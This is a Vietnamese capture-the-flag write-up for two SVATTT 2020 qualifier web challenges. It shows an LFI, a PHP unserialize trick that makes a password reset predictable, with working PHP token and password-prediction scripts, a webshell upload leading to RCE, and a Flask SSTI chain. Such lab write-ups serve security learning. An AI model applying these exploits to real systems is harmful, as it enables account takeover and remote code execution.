Sau vài hôm đi tổng hợp thì cuối cùng mình cũng tìm ra được source của 2 challenge ở svattt qual 2020. Ở vòng loại năm này thì có vẻ như có 4 challs: 2 challenge java về rmi thì đã có trên github của anh tsu (cả source + solution) vì vậy mình sẽ chỉ viết writeup cho 2 chall còn lại: Among_us
và Tsulott3
. Ở cuối mình sẽ bonus thêm source + link wu cho 2/3 challenges final round.
Contents
Among_us
Setup
Source code có thể tải ở đây. Bài này thì có người đã build lại docker server rồi nên chỉ cần run thôi 🥰. À nhớ tạo thêm thư mục crew_upload
trong thư mục www
nhé không thì tí nữa sẽ bị báo lỗi. Một lưu ý nữa là tác giả chỉ tạo lại challenge dựa trên những file cần thiết nên sẽ không có một vài file như crew.php
, cafeteria.php
... và không có hình 😗.
Phân tích
Phần lớn các trang khi truy cập vào đều hiển thị Unauthorized
trừ forgot.php
và login.php
:
Điểm đáng chú ý nữa là ta có thể khai thác lỗi LFI ở page
parameter:
\=> Làm tương tự như vậy để lấy hết source file về.
forgot.php
hiển thị ra cho ta một ô để nhập token và chức năng là dùng để reset password.
Nhảy vào đọc source của nó, chú ý đoạn code php sau:
if(isset($_POST["ticket"]) && !empty($_POST["ticket"]))
{
if($_SESSION["form_token"]===$_POST["token"]) {
unset($_SESSION['form_token']);
$_SESSION["form_token"] = md5(uniqid(rand(), true));
$ticket = unserialize(base64_decode($_POST["ticket"]));
//var_dump($ticket);
//var_dump($ticket->name);
$username = $ticket->name;
$secret_number = $ticket->secret_number;
$count = check_user_exists($conn, $username);
if($count === 1)
{
if(check_length($secret_number, 9)) {
$secret_number = strtoupper($secret_number);
$secret_number = check_string($secret_number);
$secret = get_secret($conn,$username);
var_dump($secret_number);
var_dump($secret);
if($secret_number !== $secret) {
print("Wrong secret!");
}
else
{
print("OK, we will send you the new password");}
print $secret_number;
$random_rand = rand(0,$secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
$new_password .= strval(rand());
}
reset_password($conn, $username, $new_password);
//to do: send mail the new password to the user, code later
//print($new_password);
}
else
{
print("sai length");
print("<center>IMPOSTOR ALERT!!!!</center>");
}
}
else
{
//print $count;
print("sai count");
}
}
else
{
print("sai token");
}
}
$ticket
sẽ được khôi phục lại từ $_POST["ticket"]
. Sau đó lấy ra name
và secret_number
từ object này. Tìm kiếm một hồi thì biết được có thể nó là một instance tạo từ class CrewMate trong lib.php
.
Tiếp theo là check_user_exists()
, đòi hỏi username lấy từ $ticket->name
phải tồn tại trong db. Suy ra ta cần có một username hợp lệ, cái này tác giả đã cung cấp trong crew.php
và vì ta đã tự build lại challenge nên có thể tạo sẵn một vài user.
Khi thỏa mãn điều kiện ở trên thì tiếp tục là kiểm tra check_length($secret_number, 9)
, từ code của hàm này -> có thể truyền string, array ... miễn là thỏa = 9
function check_length($input, $length) {
return strlen($input)==$length || count($input)==$length || sizeof($input)==$length;
}
Sau đó nữa là strtoupper()
, check_string()
, get_secret()
... và reset_password()
. Tinh mắt một tí sẽ thấy rằng nếu điều kiện $secret_number !== $secret
thỏa hay không thì đều thực hiện reset password.
Mục đích của ta là làm sao để lấy được password sau khi được reset. Password này được tạo dựa trên strval(rand())
, suy ra phải biết được $random_rand
(đọc thêm về srand()
ở đây), $random_rand
lại được tạo dựa trên rand(0,$secret_number)
. Mà một điều thú vị là rand(0,NULL)=0
và để cho nó xảy ra thì strtoupper()
phải return NULL.
\=> secret_number
phải là một array.
và để thỏa điều kiện check_length()
ở trên nữa thì array này cần 9 phần tử.
Exploit
Script tạo token:
<?php
class CrewMate {
public $name;
public $secret_number;
}
$cm = new CrewMate();
$cm -> name = "yellow";
$cm -> secret_number = range(1,9);
echo base64_encode(serialize($cm));
Gửi token để reset password:
Script để lấy password sau khi reset:
$secret_number = NULL;
$random_rand = rand(0, $secret_number);
srand($random_rand);
$new_password = "";
while(strlen($new_password) < 30) {
$new_password .= strval(rand());
}
print $new_password; //117856802212731241191535857466
Login với yellow:117856802212731241191535857466
Hiển thị như vầy nghĩa là đã thành công.
Bây giờ ta chuyển sang page electrical.php
Thử upload một file bình thường:
Trang web sẽ hiện ra thêm nút download, tên của file nằm trong file zip: php0YStEz+test.txt
và sau khi Download, ta biết được luôn tên của file zip:
Bước cuối cùng là upload một webshell, sau đó sử dụng LFI ở index.php
để RCE với ?page=/tmp/<new_web_shell_name>
.
Hmmm, sau một hồi mò mẫm thì có vẻ như flag không nằm ở các file trên server.
Thử upload script để đọc flag từ database:
P/S: Thú thật thì challenge này lúc mình đi mò tưởng không có source nên quyết định đi đọc writeup luôn, ai dè source code họ để ở cuối bài viết. Có thể coi như là mình viết lại để học hỏi từ wu của người ta 😢 bài viết gốc có thể xem tại đây.
Tsulott3
Setup
Down source ở đây.
Overview
Build xong access tới http://127.0.0.1:5000 ta có một trang để nhập tên:
Sau khi nhập xong ấn Go
thì sẽ được chuyển tới một trang mới:
Yêu cầu ta nhập 6 con số, cóp nguyên cái example luôn cho lẹ 😁:
Có vẻ như đoán sai rồi ~~~ Sau đó ta được redirect tới một trang reset access và lại redirect về trang ban đầu.
Phân tích
Bài này thì có vẻ là dễ thở hơn bài trước. Nhìn qua source code thì sẽ có 3 route /
, /guess
, /reset_access
.
- Route
/
:
@app.route("/", methods=["GET","POST"])
def index():
try:
session.pop("name")
session.pop("jackpot")
except:
pass
if request.method == "POST":
ok = request.form['ok']
session["name"] = request.form['name']
if ok == "Go":
session["check"] = "access"
jackpot = " ".join(str(x) for x in [ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99), ri(10,99)]).strip()
session["jackpot"] = jackpot
return render_template_string("Generating jackpot...<script>setInterval(function(){ window.location='/guess'; }, 500);</script>")
return render_template("start.html")
try except
để lấy ra name
và jackpot
từ session. Nếu method là POST thì lấy ra ok
và name
từ POST request sau đó gán name
cho session["name"]
. Nếu ok=="Go"
thì sẽ gán session["check"] = "access"
tạo random một jackpot
và gán vào session["jackpot"]
và redirect tới /guess
.
- Route
/guess
@app.route('/guess', methods=["GET","POST"])
def guess():
try:
if check_session("check") == "":
return render_template_string(cheat+check_session("name"))
else:
if request.method == "POST":
jackpot_input = request.form['jackpot']
print(jackpot_input + "\n")
print(check_session("jackpot"))
if jackpot_input == check_session("jackpot"):
mess = "Really? GG "+check_session("name")+", here your flag: ASCIS{xxxxxxxxxxxxxxxxxxxxxxxxx}"
elif jackpot_input != check_session("jackpot"):
mess = "May the Luck be with you next time!<script>setInterval(function(){ window.location='/reset_access'; }, 1200);</script>"
return render_template_string(mess)
return render_template("guess.html")
except:
pass
return render_template_string(cheat+check_session("name"))
Ở route này đoạn cần chú ý là nó sẽ lấy jackpot
từ POST request và so sánh với jackbot
lưu trong session. Nếu thỏa thì sẽ lấy được flag ngược lại redirect đến /reset_access
.
- Route
/reset_access
@app.route('/reset_access')
def reset():
try:
session.pop("check")
return render_template_string("Reseting...<script>setInterval(function(){ window.location='/'; }, 500);</script>")
except:
pass
return render_template_string(cheat+check_session("name"))
try
lấy check
từ trong session
nếu có exception thì pass
và render_template_string(cheat+check_session("name"))
. Mình lợi dụng route này để perform ssti.
Exploit
Luồng khai thác sẽ như sau:
POST đến
/
vớiname=<ssti payload>
vàok="cc"
mục đích là để chosession["name"] = <ssti payload>
vàjackpot
không được set random.GET đến
/reset_access
để thực thi ssti payload (payload của mình là set chojackpot=to^&check=access
)Cuối cùng là POST đến
/guess
vớijackpot=to^
Challenges ở final
Ở final thì ngoài mojarra_war
có 2 challenges nữa là FADating
, Instargram
. 2 challenge này cũng rất hay nhưng tiếc là mình không tìm được source hoàn chỉnh, chỉ có source cho player. Các bạn có thể tải ở đây, mình cũng đã đính kèm link writeup của từng challenge.